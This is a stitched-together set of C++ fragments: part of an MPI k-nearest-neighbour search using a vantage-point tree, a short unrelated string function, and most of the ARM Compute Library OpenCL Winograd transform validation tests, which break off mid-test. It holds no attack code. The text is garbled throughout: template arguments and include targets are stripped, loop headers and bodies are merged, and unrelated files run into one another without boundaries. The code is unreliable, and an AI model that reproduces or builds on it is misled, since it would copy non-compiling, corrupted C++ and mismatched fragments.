std::vector(k); auto queryVec = std::vector(d,0); for(int i = 0; i < chunks; i++) { for(int j = 0; j < d; j++) { queryVec.at(j) = X_local.at(i * d + j); } search_vpt(queryVec.data(), vpTree, d, k, dists.data(), indices.data()); for(int j = 0; j < k; j++) { subKNN.getNdist()[j * chunks + i] = dists.at(j); subKNN.getNidx()[j * chunks + i] = indices.at(j); } } auto knn_Y_dist = std::vector(chunks*k); auto knn_Y_ind = std::vector(chunks*k); std::copy(std::begin(dists), std::end(dists), std::begin(knn_Y_dist)); std::copy(std::begin(indices), std::end(indices), std::begin(knn_Y_ind)); for(int i =0; i (chunks*k); MPI_Recv(&(temp.at(0)), chunks*k, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, MPI_STATUS_IGNORE); finalKNN.getNeighborDistance().insert(std::end(finalKNN.getNeighborDistance()), std::begin(temp), std::end(temp)); } std::copy(subKNN.getNeighborDistance().begin(), subKNN.getNeighborDistance().end(), finalKNN.getNeighborDistance().begin()); } auto stop = std::chrono::high_resolution_clock::now(); std::chrono::duration elapsed = stop - start; std::cout<<"Took "<< elapsed.count() << "s" << std::endl; MPI_Finalize(); if(!pid){ std::string input = argv[1]; std::string file_name = "results_" + input + "results_" + "v2.txt"; std::fstream file ("./results/v2/" + file_name); if(file.is_open()){ file << "Took " << elapsed.count()<<"s"< #include #include using namespace std; inline int64_t mymethod(string str){ int64_t x=0,y=0,currentMax=0,sz=str.size(); for(int64_t j=0;jtests/validation/CL/Winograd.cpp /* * Copyright (c) 2018-2019 ARM Limited. * * SPDX-License-Identifier: MIT * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "arm_compute/core/CL/kernels/CLWinogradFilterTransformKernel.h" #include "arm_compute/core/CL/kernels/CLWinogradOutputTransformKernel.h" #include "arm_compute/core/Helpers.h" #include "arm_compute/core/Types.h" #include "arm_compute/core/utils/misc/ShapeCalculator.h" #include "arm_compute/runtime/CL/CLTensor.h" #include "arm_compute/runtime/CL/CLTensorAllocator.h" #include "arm_compute/runtime/CL/functions/CLWinogradConvolutionLayer.h" #include "arm_compute/runtime/CL/functions/CLWinogradInputTransform.h" #include "tests/CL/CLAccessor.h" #include "tests/CL/Helper.h" #include "tests/PaddingCalculator.h" #include "tests/datasets/LargeConvolutionLayerDataset.h" #include "tests/datasets/ShapeDatasets.h" #include "tests/datasets/SmallConvolutionLayerDataset.h" #include "tests/datasets/WinogradInputTransformDataset.h" #include "tests/datasets/WinogradOutputTransformDataset.h" #include "tests/framework/Asserts.h" #include "tests/framework/Macros.h" #include "tests/framework/datasets/Datasets.h" #include "tests/validation/Validation.h" #include "tests/validation/fixtures/WinogradConvolutionLayerFixture.h" namespace arm_compute { namespace test { namespace validation { namespace { // *INDENT-OFF* // clang-format off constexpr AbsoluteTolerance tolerance_f32(0.001f); const AbsoluteTolerance tolerance_f16(half(0.5f)); constexpr AbsoluteTolerance tolerance_convolution_layer_f32(0.1f); const AbsoluteTolerance tolerance_convolution_layer_f16(half(0.4f)); RelativeTolerance rel_tolerance_f16(half(0.2)); /**< Tolerance value for comparing reference's output against implementation's output for FP16 data types */ constexpr float tolerance_num = 0.05f; /**< Tolerance number */ constexpr float abs_tolerance_convolution_layer_f16 = 2.5f; /**< Tolerance number */ // Input transform const auto SmallWinogradInputTransformDatasetNCHW = framework::dataset::concat(datasets::SmallWinogradInputTransformDataset2x2_3x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset2x1_3x1(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset1x2_1x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x4_3x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x1_3x1(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset1x4_1x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x4_5x5(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x1_5x1(), datasets::SmallWinogradInputTransformDataset1x4_1x5())))))))); const auto SmallWinogradInputTransformDatasetNHWC = framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x4_3x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x1_3x1(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset1x4_1x3(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x4_5x5(), framework::dataset::concat(datasets::SmallWinogradInputTransformDataset4x1_5x1(), datasets::SmallWinogradInputTransformDataset1x4_1x5()))))); const auto LargeWinogradInputTransformDatasetNCHW = framework::dataset::concat(datasets::LargeWinogradInputTransformDataset2x2_3x3(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset2x1_3x1(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset1x2_1x3(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x4_3x3(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x1_3x1(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset1x4_1x3(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x4_5x5(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x1_5x1(), datasets::LargeWinogradInputTransformDataset1x4_1x5())))))))); const auto LargeWinogradInputTransformDatasetNHWC = framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x4_3x3(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x4_5x5(), framework::dataset::concat(datasets::LargeWinogradInputTransformDataset4x1_5x1(), datasets::LargeWinogradInputTransformDataset1x4_1x5()))); // Filter transform const auto SmallWinogradFilterTransformDatasetNCHW = framework::dataset::concat(combine(datasets::Small3x3Shapes(), framework::dataset::make("OutputTile", { Size2D(2U, 2U), Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Small3x1Shapes(), framework::dataset::make("OutputTile", { Size2D(2U, 1U), Size2D(4U, 1U) })), framework::dataset::concat(combine(datasets::Small1x3Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 2U), Size2D(1U, 4U) })), framework::dataset::concat(combine(datasets::Small5x5Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Small5x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), combine(datasets::Small1x5Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) }))))))); const auto SmallWinogradFilterTransformDatasetNHWC = framework::dataset::concat(combine(datasets::Small3x3Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Small3x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), framework::dataset::concat(combine(datasets::Small1x3Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) })), framework::dataset::concat(combine(datasets::Small5x5Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Small5x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), combine(datasets::Small1x5Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) }))))))); const auto LargeWinogradFilterTransformDatasetNCHW = framework::dataset::concat(combine(datasets::Large3x3Shapes(), framework::dataset::make("OutputTile", { Size2D(2U, 2U), Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Large3x1Shapes(), framework::dataset::make("OutputTile", { Size2D(2U, 1U), Size2D(4U, 1U) })), framework::dataset::concat(combine(datasets::Large1x3Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 2U), Size2D(1U, 4U) })), framework::dataset::concat(combine(datasets::Large5x5Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Large5x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), combine(datasets::Large1x5Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) }))))))); const auto LargeWinogradFilterTransformDatasetNHWC = framework::dataset::concat(combine(datasets::Large3x3Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Large3x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), framework::dataset::concat(combine(datasets::Large1x3Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) })), framework::dataset::concat(combine(datasets::Large5x5Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 4U) })), framework::dataset::concat(combine(datasets::Large5x1Shapes(), framework::dataset::make("OutputTile", { Size2D(4U, 1U) })), combine(datasets::Large1x5Shapes(), framework::dataset::make("OutputTile", { Size2D(1U, 4U) }))))))); // Output transform const auto SmallWinogradOutputTransformDatasetNCHW = datasets::SmallWinogradOutputTransformDatasetNCHW(); const auto SmallWinogradOutputTransformDatasetNHWC = datasets::SmallWinogradOutputTransformDatasetNHWC(); const auto LargeWinogradOutputTransformDatasetNCHW = datasets::LargeWinogradOutputTransformDatasetNCHW(); const auto LargeWinogradOutputTransformDatasetNHWC = datasets::LargeWinogradOutputTransformDatasetNHWC(); //Activation Functions const auto ActivationFunctionsDataset = framework::dataset::make("ActivationInfo", { ActivationLayerInfo(), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::RELU), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::BOUNDED_RELU), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::LU_BOUNDED_RELU), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::LEAKY_RELU) }); const auto ActivationFunctionsSmallDataset = framework::dataset::make("ActivationInfo", { ActivationLayerInfo(), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::LU_BOUNDED_RELU), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::LEAKY_RELU), ActivationLayerInfo(ActivationLayerInfo::ActivationFunction::SOFT_RELU) }); } // namespace using namespace arm_compute::misc::shape_calculator; TEST_SUITE(CL) TEST_SUITE(Winograd) TEST_SUITE(InputTransform) DATA_TEST_CASE(Validate, framework::DatasetMode::ALL, zip(zip(zip( framework::dataset::make("InputInfo",{ TensorInfo(TensorShape(53U, 21U, 5U, 3U), 1, DataType::F16), // F16 not supported TensorInfo(TensorShape(53U, 21U, 5U, 3U), 1, DataType::QASYMM8), // QASYMM8 not supported TensorInfo(TensorShape(53U, 21U, 5U, 3U), 1, DataType::F32), // Kernel size not supported TensorInfo(TensorShape(53U, 21U, 5U, 3U), 1, DataType::F32), // Strides not supported TensorInfo(TensorShape(53U, 33U, 4U), 1, DataType::F32), // Padding needed TensorInfo(TensorShape(34U, 42U, 7U, 3U), 1, DataType::F32), // Padding needed TensorInfo(TensorShape(31U, 37U, 37U), 1, DataType::F32) // Padding needed }), framework::dataset::make("OutputInfo", { TensorInfo(TensorShape(5U, 5U, 16U, 3U), 1, DataType::F16), TensorInfo(TensorShape(5U, 5U, 16U, 3U), 1, DataType::QASYMM8), TensorInfo(TensorShape(5U, 5U, 16U, 3U), 1, DataType::F32), TensorInfo(TensorShape(5U, 1U, 16U, 3U), 1, DataType::F32), TensorInfo(TensorShape(4U, 442U, 16U), 1, DataType::F32), TensorInfo(TensorShape(7U, 320U, 16U, 3U), 1, DataType::F32), TensorInfo(TensorShape(37U, 304U, 16U), 1, DataType::F32) })), framework::dataset::make("WinogradInfo", { WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(53U, 21U), PadStrideInfo(1, 1, 1, 0), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(53U, 21U), PadStrideInfo(1, 1, 0, 0), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(53U, 21U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(53U, 21U), PadStrideInfo(2, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(53U, 33U), PadStrideInfo(1, 1, 0, 1), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(34U, 42U), PadStrideInfo(1, 1, 0, 0), DataLayout::NCHW), WinogradInfo(Size2D(2, 2), Size2D(3, 3), Size2D(31U, 37U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW) })), framework::dataset::make("Expected", { false, false, false, false, false, false, false })), input_info, output_info, winograd_info, expected) { ARM_COMPUTE_EXPECT(bool(CLWinogradInputTransform::validate(&input_info.clone()->set_is_resizable(false), &output_info.clone()->set_is_resizable(false), winograd_info)) == expected, framework::LogLevel::ERRORS); } using CLWinogradInputTransformFixtureFP32 = WinogradInputTransformValidationFixture; using CLWinogradInputTransformFixtureFP16 = WinogradInputTransformValidationFixture; TEST_SUITE(NCHW) TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradInputTransformFixtureFP32, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradInputTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F32 }))) { validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradInputTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradInputTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F32 }))) { validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradInputTransformFixtureFP16, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradInputTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F16 }))) { validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradInputTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradInputTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F16 }))) { validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE_END() // NCHW TEST_SUITE(NHWC) TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradInputTransformFixtureFP16, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradInputTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F16 }))) { validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradInputTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradInputTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F16 }))) { validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradInputTransformFixtureFP32, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradInputTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F32 }))) { validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradInputTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradInputTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F32 }))) { validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE_END() // NHWC TEST_SUITE_END() // InputTransform TEST_SUITE(FilterTransform) DATA_TEST_CASE(Validate, framework::DatasetMode::ALL, zip(zip(zip( framework::dataset::make("InputInfo",{ TensorInfo(TensorShape(3U, 3U, 5U, 3U), 1, DataType::F16), // F16 supported TensorInfo(TensorShape(3U, 3U, 5U, 3U), 1, DataType::QASYMM8), // QASYMM8 not supported TensorInfo(TensorShape(5U, 5U, 5U, 3U), 1, DataType::F32), // Kernel size not supported TensorInfo(TensorShape(3U, 3U), 1, DataType::F32), // Output tile not supported TensorInfo(TensorShape(3U, 3U, 5U, 3U), 1, DataType::F32), // valid TensorInfo(TensorShape(3U, 3U, 37U, 2U), 1, DataType::F32), // valid TensorInfo(TensorShape(3U, 3U, 37U, 22U), 1, DataType::F32) // valid }), framework::dataset::make("OutputInfo", { TensorInfo(TensorShape(3U, 5U, 16U), 1, DataType::F16), TensorInfo(TensorShape(3U, 5U, 16U), 1, DataType::QASYMM8), TensorInfo(TensorShape(3U, 5U, 16U), 1, DataType::F32), TensorInfo(TensorShape(1U, 1U, 16U), 1, DataType::F32), TensorInfo(TensorShape(3U, 5U, 16U), 1, DataType::F32), TensorInfo(TensorShape(2U, 37U, 16U), 1, DataType::F32), TensorInfo(TensorShape(22U, 37U, 36U), 1, DataType::F32) })), framework::dataset::make("WinogradInfo", { WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(3U, 3U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ), WinogradInfo(Size2D(4U, 4U), Size2D(3U, 3U), Size2D() /* Not needed */, PadStrideInfo() /* Not needed */, DataLayout::NCHW /* Not needed */ ) })), framework::dataset::make("Expected", { true, false, false, false, true, true, true })), input_info, output_info, winograd_info, expected) { ARM_COMPUTE_EXPECT(bool(CLWinogradFilterTransformKernel::validate(&input_info.clone()->set_is_resizable(false), &output_info.clone()->set_is_resizable(false), winograd_info)) == expected, framework::LogLevel::ERRORS); } using CLWinogradFilterTransform = CLSynthetizeFunctionWithZeroConstantBorder; using CLWinogradFilterTransformFixtureFP32 = WinogradFilterTransformValidationFixture; using CLWinogradFilterTransformFixtureFP16 = WinogradFilterTransformValidationFixture; TEST_SUITE(NCHW) TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradFilterTransformFixtureFP32, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradFilterTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F32 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradFilterTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradFilterTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F32 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradFilterTransformFixtureFP16, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradFilterTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F16 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradFilterTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradFilterTransformDatasetNCHW, framework::dataset::make("DataLayout", { DataLayout::NCHW })), framework::dataset::make("DataType", { DataType::F16 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE_END() // NCHW TEST_SUITE(NHWC) TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradFilterTransformFixtureFP16, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradFilterTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F16 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradFilterTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradFilterTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F16 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradFilterTransformFixtureFP32, framework::DatasetMode::PRECOMMIT, combine(combine(SmallWinogradFilterTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F32 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradFilterTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradFilterTransformDatasetNHWC, framework::dataset::make("DataLayout", { DataLayout::NHWC })), framework::dataset::make("DataType", { DataType::F32 }))) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE_END() // NHWC TEST_SUITE_END() // FilterTransform TEST_SUITE(OutputTransform) DATA_TEST_CASE(Validate, framework::DatasetMode::ALL, zip(zip(zip(zip( framework::dataset::make("InputInfo",{ TensorInfo(TensorShape(512U, 49U, 16U, 5U), 1, DataType::F16), // F16 supported TensorInfo(TensorShape(512U, 49U, 16U, 5U), 1, DataType::QASYMM8), // QASYMM8 not supported TensorInfo(TensorShape(512U, 49U, 16U, 5U), 1, DataType::F32), // Kernel size not supported TensorInfo(TensorShape(512U, 49U, 16U, 5U), 1, DataType::F32), // Valid TensorInfo(TensorShape(13U, 108U, 16U, 4U), 1, DataType::F32), // Padding needed TensorInfo(TensorShape(7U, 20U, 16U, 7U), 1, DataType::F32), // Valid TensorInfo(TensorShape(7U, 20U, 16U, 7U), 1, DataType::F32), // Wrong WinogradInfo TensorInfo(TensorShape(7U, 256U, 36U, 3U), 1, DataType::F32), // Valid TensorInfo(TensorShape(7U, 256U, 16U, 3U), 1, DataType::F32) // Wrong number of batches }), framework::dataset::make("BiasInfo", { TensorInfo(TensorShape(512U), 1, DataType::F16), TensorInfo(TensorShape(512U), 1, DataType::QASYMM8), TensorInfo(TensorShape(512U), 1, DataType::F32), TensorInfo(TensorShape(512U), 1, DataType::F32), TensorInfo(TensorShape(13U), 1, DataType::F32), TensorInfo(TensorShape(7U), 1, DataType::F32), TensorInfo(TensorShape(7U), 1, DataType::F32), TensorInfo(TensorShape(7U), 1, DataType::F32), TensorInfo(TensorShape(7U), 1, DataType::F32) })), framework::dataset::make("OutputInfo", { TensorInfo(TensorShape(14U, 14U, 512U, 5U), 1, DataType::F16), TensorInfo(TensorShape(14U, 14U, 512U, 5U), 1, DataType::QASYMM8), TensorInfo(TensorShape(14U, 14U, 512U, 5U), 1, DataType::F32), TensorInfo(TensorShape(14U, 14U, 512U, 5U), 1, DataType::F32), TensorInfo(TensorShape(17U, 23U, 13U, 4U), 1, DataType::F32), TensorInfo(TensorShape(8U, 10U, 7U, 7U), 1, DataType::F32), TensorInfo(TensorShape(7U, 9U, 7U, 7U), 1, DataType::F32), TensorInfo(TensorShape(64U, 64U, 7U, 3U), 1, DataType::F32), TensorInfo(TensorShape(64U, 64U, 7U, 3U), 1, DataType::F32) })), framework::dataset::make("WinogradInfo", { WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D(14U, 14U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D(14U, 14U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 2U), Size2D(5U, 5U), Size2D(14U, 14U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D(14U, 14U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D(17U, 23U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 2U), Size2D(3U, 3U), Size2D(8U, 10U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(2U, 3U), Size2D(3U, 3U), Size2D(8U, 10U), PadStrideInfo(1, 1, 0, 0), DataLayout::NCHW), WinogradInfo(Size2D(4U, 4U), Size2D(3U, 3U), Size2D(64U, 64U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW), WinogradInfo(Size2D(4U, 4U), Size2D(3U, 3U), Size2D(64U, 64U), PadStrideInfo(1, 1, 1, 1), DataLayout::NCHW) })), framework::dataset::make("Expected", { true, false, false, true, false, true, false, true, false })), input_info, bias_info, output_info, winograd_info, expected) { ARM_COMPUTE_EXPECT(bool(CLWinogradOutputTransformKernel::validate(&input_info.clone()->set_is_resizable(false), &bias_info.clone()->set_is_resizable(false), &output_info.clone()->set_is_resizable(false), winograd_info)) == expected, framework::LogLevel::ERRORS); } using CLWinogradOutputTransform = CLSynthetizeFunctionWithZeroConstantBorder; using CLWinogradOutputTransformFixtureFP32 = WinogradOutputTransformValidationFixture; using CLWinogradOutputTransformFixtureFP16 = WinogradOutputTransformValidationFixture; TEST_SUITE(NCHW) TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradOutputTransformFixtureFP16, framework::DatasetMode::ALL, combine(combine(SmallWinogradOutputTransformDatasetNCHW, framework::dataset::make("DataType", { DataType::F16 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradOutputTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradOutputTransformDatasetNCHW, framework::dataset::make("DataType", { DataType::F16 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradOutputTransformFixtureFP32, framework::DatasetMode::ALL, combine(combine(SmallWinogradOutputTransformDatasetNCHW, framework::dataset::make("DataType", { DataType::F32 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradOutputTransformFixtureFP32, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradOutputTransformDatasetNCHW, framework::dataset::make("DataType", { DataType::F32 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } TEST_SUITE_END() // FP32 TEST_SUITE_END() // NCHW TEST_SUITE(NHWC) TEST_SUITE(FP16) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradOutputTransformFixtureFP16, framework::DatasetMode::ALL, combine(combine(SmallWinogradOutputTransformDatasetNHWC, framework::dataset::make("DataType", { DataType::F16 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } FIXTURE_DATA_TEST_CASE(RunLarge, CLWinogradOutputTransformFixtureFP16, framework::DatasetMode::NIGHTLY, combine(combine(LargeWinogradOutputTransformDatasetNHWC, framework::dataset::make("DataType", { DataType::F16 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f16); } TEST_SUITE_END() // FP16 TEST_SUITE(FP32) FIXTURE_DATA_TEST_CASE(RunSmall, CLWinogradOutputTransformFixtureFP32, framework::DatasetMode::ALL, combine(combine(SmallWinogradOutputTransformDatasetNHWC, framework::dataset::make("DataType", { DataType::F32 })), framework::dataset::make("ActivationInfo",{ ActivationLayerInfo() }) )) { // Validate output validate(CLAccessor(_target), _reference, tolerance_f32); } FIXTURE_DATA_TEST_CASE(RunLarge, 